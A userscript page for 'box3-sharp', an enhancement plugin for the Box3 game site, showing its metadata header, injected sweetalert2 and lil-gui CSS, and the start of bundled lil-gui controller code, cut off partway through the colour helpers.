box3-sharp

Box3增强插件

当前为 2022-12-24 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name box3-sharp
  3. // @namespace box3.codemao.cn
  4. // @version 1.1.1
  5. // @author AlanBestHacker
  6. // @description Box3增强插件
  7. // @license GPL-3.0
  8. // @icon https://box3.fun/favicon.ico
  9. // @match https://box3.codemao.cn/*
  10. // @match https://box3.fun/*
  11. // @grant GM_getValue
  12. // @grant GM_setValue
  13. // @grant unsafeWindow
  14. // ==/UserScript==
  15.  
  16. (o=>{const a=document.createElement("style");a.dataset.source="vite-plugin-monkey",a.innerText=o,document.head.appendChild(a)})('@keyframes opacity-show{0%{opacity:0}to{opacity:1}}@keyframes opacity-hide{to{opacity:0}}.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4!important;grid-row:1/4!important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:rgba(54,70,93,.99);box-shadow:0 0 1px #00000013,0 1px 2px #00000013,1px 2px 4px #00000013,1px 3px 8px #00000013,2px 4px 16px #00000013;pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:.5em 0 0;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content,auto) minmax(min-content,auto) minmax(min-content,auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(54,70,93,.99)}.swal2-container.swal2-backdrop-hide{background:transparent!important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0,1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0,1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0,1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none!important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0,100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:transparent;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:#fff;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 transparent #2778c4 transparent}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px transparent;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px #7066e080}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px #dc374180}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px #6e788180}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 1px #36465dfc,0 0 0 3px #7a91b2fc}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid rgba(255,255,255,.2);color:#fff;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto!important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{position:fixed;z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:transparent;color:#fff;font-family:serif;font-family:monospace;font-size:3em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:transparent;color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px #6496c880}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:#fff;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(73,94,125,.99);box-shadow:inset 0 1px 1px #0000000f,0 0 0 3px transparent;color:#fff;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px #0000000f,0 0 0 3px #6496c880}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:transparent}.swal2-range input{width:80%}.swal2-range output{width:20%;color:#fff;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(73,94,125,.99);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(73,94,125,.99);color:#fff;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:transparent;color:#fff}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:transparent;color:#fff;font-size:1em;font-weight:300}.swal2-validation-message:before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:.25em solid transparent;border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:transparent;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:rgba(122,145,178,.99);color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:rgba(122,145,178,.99)}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{animation:opacity-show .3s}.swal2-hide{animation:opacity-hide .1s}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotate(2deg)}33%{transform:translateY(0) rotate(-2deg)}66%{transform:translateY(.3125em) rotate(2deg)}to{transform:translateY(0) rotate(0)}}@keyframes swal2-toast-hide{to{transform:rotate(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}to{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}to{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}to{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}to{transform:scale(.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}to{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}to{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}to{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}to{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}to{transform:rotateX(0);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}to{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotate(45deg);opacity:0}25%{transform:rotate(-25deg);opacity:.4}50%{transform:rotate(15deg);opacity:.8}75%{transform:rotate(-5deg);opacity:1}to{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{background-color:transparent!important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px #36465dfc}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:transparent;pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{inset:0 auto auto 50%;transform:translate(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{inset:0 0 auto auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{inset:0 auto auto 0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{inset:50% auto auto 0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{inset:50% auto auto 50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{inset:50% 0 auto auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{inset:auto auto 0 0}body.swal2-toast-shown .swal2-container.swal2-bottom{inset:auto auto 0 50%;transform:translate(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{inset:auto 0 0 auto}.lil-gui{--background-color: transparent;--text-color: rgba(255, 255, 255, .8);--title-background-color: rgba(0, 0, 0, .3);--title-text-color: rgba(255, 255, 255, .9);--widget-color: rgba(100, 100, 100, .1);--hover-color: rgba(100, 100, 100, .2);--focus-color: rgba(255, 255, 255, .2);--number-color: var(--primary-color);--string-color: #ffab00;--font-size: 12px;--input-font-size: 10px;--font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;--font-family-mono: Menlo, Monaco, Consolas, "Droid Sans Mono", monospace;--padding: 4px;--spacing: 4px;--widget-height: 20px;--name-width: 45%;--slider-knob-width: 2px;--slider-input-width: 27%;--color-input-width: 27%;--slider-input-min-width: 45px;--color-input-min-width: 45px;--folder-indent: 5px;--widget-padding: 0 0 0 3px;--widget-border-radius: var(--border-radius);--checkbox-size: calc(.75 * var(--widget-height));--scrollbar-width: 2px;max-height:70vh}.lil-gui .name{user-select:none!important}.lil-gui *{transition:background-color .25s}.lil-gui.root{transform:translateY(-25px);border:1px solid transparent;background:rgba(0,0,0,.8);backdrop-filter:blur(var(--blur));filter:saturate(50%);transition:border-color .5s,box-shadow .5s,filter .25s;box-shadow:0 0 0 var(--primary-color);border-radius:var(--border-radius)}.lil-gui.root:hover{border-color:var(--primary-color);box-shadow:0 0 5px var(--primary-color);filter:none}.lil-gui input[type=checkbox]:checked:before{color:var(--primary-color)}option{background:rgba(0,0,0,.5);color:#ffffff80;border-left:1px solid transparent}option:hover{background:rgba(0,0,0,.5);color:#fffc;border-left:1px solid #2196f3}.lil-gui.closed>.children{transform:translateY(-20px);filter:grayscale(100%);opacity:0}.lil-gui.transition>.children{transition-duration:.5s;transition-property:height,opacity,transform,filter;transition-timing-function:cubic-bezier(.2,.6,.35,1);overflow:hidden;pointer-events:none}.lil-gui input{background:transparent;border-bottom:1px solid rgba(255,255,255,.1)}.lil-gui .controller.number:hover .fill{background-color:var(--number-color);box-shadow:0 0 5px var(--number-color)}.lil-gui .controller.number:hover input{text-shadow:0 0 5px var(--number-color)}::selection{background-color:#fff3}.container-window{position:fixed;left:50px;top:50px;min-width:300px;z-index:999}.container-window .handle{cursor:move;position:relative;margin-left:auto;width:calc(100% - 80px);border-left:1px solid rgba(255,255,255,.8);opacity:0;height:25px;background-color:#0003;color:#fffc;display:flex;justify-content:center;align-items:center;z-index:999;transition:opacity .25s;font-size:x-small}.container-window .handle:hover{opacity:1}._2x0RglLpha6lx9vdRMkP5r{user-select:text!important}.swal2-popup{font-size:unset!important}.swal2-backdrop-show{backdrop-filter:blur(5px);background:rgba(0,0,0,.5)!important}canvas.magic-cursor-canvas{height:100vh;width:100vw;position:fixed;top:0;left:0;z-index:9999999999;opacity:.5;pointer-events:none;transition:opacity .25s}');
  17.  
  18. (function() {
  19. "use strict";
  20. const __variableDynamicImportRuntimeHelper = (glob, path) => {
  21. const v = glob[path];
  22. if (v) {
  23. return typeof v === "function" ? v() : Promise.resolve(v);
  24. }
  25. return new Promise((_, reject) => {
  26. (typeof queueMicrotask === "function" ? queueMicrotask : setTimeout)(reject.bind(null, new Error("Unknown variable dynamic import: " + path)));
  27. });
  28. };
  29. class Controller {
  30. constructor(parent, object, property, className, widgetTag = "div") {
  31. this.parent = parent;
  32. this.object = object;
  33. this.property = property;
  34. this._disabled = false;
  35. this._hidden = false;
  36. this.initialValue = this.getValue();
  37. this.domElement = document.createElement("div");
  38. this.domElement.classList.add("controller");
  39. this.domElement.classList.add(className);
  40. this.$name = document.createElement("div");
  41. this.$name.classList.add("name");
  42. Controller.nextNameID = Controller.nextNameID || 0;
  43. this.$name.id = `lil-gui-name-${++Controller.nextNameID}`;
  44. this.$widget = document.createElement(widgetTag);
  45. this.$widget.classList.add("widget");
  46. this.$disable = this.$widget;
  47. this.domElement.appendChild(this.$name);
  48. this.domElement.appendChild(this.$widget);
  49. this.parent.children.push(this);
  50. this.parent.controllers.push(this);
  51. this.parent.$children.appendChild(this.domElement);
  52. this._listenCallback = this._listenCallback.bind(this);
  53. this.name(property);
  54. }
  55. name(name) {
  56. this._name = name;
  57. this.$name.innerHTML = name;
  58. return this;
  59. }
  60. onChange(callback) {
  61. this._onChange = callback;
  62. return this;
  63. }
  64. _callOnChange() {
  65. this.parent._callOnChange(this);
  66. if (this._onChange !== void 0) {
  67. this._onChange.call(this, this.getValue());
  68. }
  69. this._changed = true;
  70. }
  71. onFinishChange(callback) {
  72. this._onFinishChange = callback;
  73. return this;
  74. }
  75. _callOnFinishChange() {
  76. if (this._changed) {
  77. this.parent._callOnFinishChange(this);
  78. if (this._onFinishChange !== void 0) {
  79. this._onFinishChange.call(this, this.getValue());
  80. }
  81. }
  82. this._changed = false;
  83. }
  84. reset() {
  85. this.setValue(this.initialValue);
  86. this._callOnFinishChange();
  87. return this;
  88. }
  89. enable(enabled = true) {
  90. return this.disable(!enabled);
  91. }
  92. disable(disabled = true) {
  93. if (disabled === this._disabled)
  94. return this;
  95. this._disabled = disabled;
  96. this.domElement.classList.toggle("disabled", disabled);
  97. this.$disable.toggleAttribute("disabled", disabled);
  98. return this;
  99. }
  100. show(show = true) {
  101. this._hidden = !show;
  102. this.domElement.style.display = this._hidden ? "none" : "";
  103. return this;
  104. }
  105. hide() {
  106. return this.show(false);
  107. }
  108. options(options) {
  109. const controller = this.parent.add(this.object, this.property, options);
  110. controller.name(this._name);
  111. this.destroy();
  112. return controller;
  113. }
  114. min(min) {
  115. return this;
  116. }
  117. max(max) {
  118. return this;
  119. }
  120. step(step) {
  121. return this;
  122. }
  123. decimals(decimals) {
  124. return this;
  125. }
  126. listen(listen = true) {
  127. this._listening = listen;
  128. if (this._listenCallbackID !== void 0) {
  129. cancelAnimationFrame(this._listenCallbackID);
  130. this._listenCallbackID = void 0;
  131. }
  132. if (this._listening) {
  133. this._listenCallback();
  134. }
  135. return this;
  136. }
  137. _listenCallback() {
  138. this._listenCallbackID = requestAnimationFrame(this._listenCallback);
  139. const curValue = this.save();
  140. if (curValue !== this._listenPrevValue) {
  141. this.updateDisplay();
  142. }
  143. this._listenPrevValue = curValue;
  144. }
  145. getValue() {
  146. return this.object[this.property];
  147. }
  148. setValue(value) {
  149. this.object[this.property] = value;
  150. this._callOnChange();
  151. this.updateDisplay();
  152. return this;
  153. }
  154. updateDisplay() {
  155. return this;
  156. }
  157. load(value) {
  158. this.setValue(value);
  159. this._callOnFinishChange();
  160. return this;
  161. }
  162. save() {
  163. return this.getValue();
  164. }
  165. destroy() {
  166. this.listen(false);
  167. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  168. this.parent.controllers.splice(this.parent.controllers.indexOf(this), 1);
  169. this.parent.$children.removeChild(this.domElement);
  170. }
  171. }
  172. class BooleanController extends Controller {
  173. constructor(parent, object, property) {
  174. super(parent, object, property, "boolean", "label");
  175. this.$input = document.createElement("input");
  176. this.$input.setAttribute("type", "checkbox");
  177. this.$input.setAttribute("aria-labelledby", this.$name.id);
  178. this.$widget.appendChild(this.$input);
  179. this.$input.addEventListener("change", () => {
  180. this.setValue(this.$input.checked);
  181. this._callOnFinishChange();
  182. });
  183. this.$disable = this.$input;
  184. this.updateDisplay();
  185. }
  186. updateDisplay() {
  187. this.$input.checked = this.getValue();
  188. return this;
  189. }
  190. }
  191. function normalizeColorString(string) {
  192. let match, result;
  193. if (match = string.match(/(#|0x)?([a-f0-9]{6})/i)) {
  194. result = match[2];
  195. } else if (match = string.match(/rgb\(\s*(\d*)\s*,\s*(\d*)\s*,\s*(\d*)\s*\)/)) {
  196. result = parseInt(match[1]).toString(16).padStart(2, 0) + parseInt(match[2]).toString(16).padStart(2, 0) + parseInt(match[3]).toString(16).padStart(2, 0);
  197. } else if (match = string.match(/^#?([a-f0-9])([a-f0-9])([a-f0-9])$/i)) {
  198. result = match[1] + match[1] + match[2] + match[2] + match[3] + match[3];
  199. }
  200. if (result) {
  201. return "#" + result;
  202. }
  203. return false;
  204. }
  205. const STRING = {
  206. isPrimitive: true,
  207. match: (v) => typeof v === "string",
  208. fromHexString: normalizeColorString,
  209. toHexString: normalizeColorString
  210. };
  211. const INT = {
  212. isPrimitive: true,
  213. match: (v) => typeof v === "number",
  214. fromHexString: (string) => parseInt(string.substring(1), 16),
  215. toHexString: (value) => "#" + value.toString(16).padStart(6, 0)
  216. };
  217. const ARRAY = {
  218. isPrimitive: false,
  219. match: Array.isArray,
  220. fromHexString(string, target, rgbScale = 1) {
  221. const int = INT.fromHexString(string);
  222. target[0] = (int >> 16 & 255) / 255 * rgbScale;
  223. target[1] = (int >> 8 & 255) / 255 * rgbScale;
  224. target[2] = (int & 255) / 255 * rgbScale;
  225. },
  226. toHexString([r, g, b], rgbScale = 1) {
  227. rgbScale = 255 / rgbScale;
  228. const int = r * rgbScale << 16 ^ g * rgbScale << 8 ^ b * rgbScale << 0;
  229. return INT.toHexString(int);
  230. }
  231. };
  232. const OBJECT = {
  233. isPrimitive: false,
  234. match: (v) => Object(v) === v,
  235. fromHexString(string, target, rgbScale = 1) {
  236. const int = INT.fromHexString(string);
  237. target.r = (int >> 16 & 255) / 255 * rgbScale;
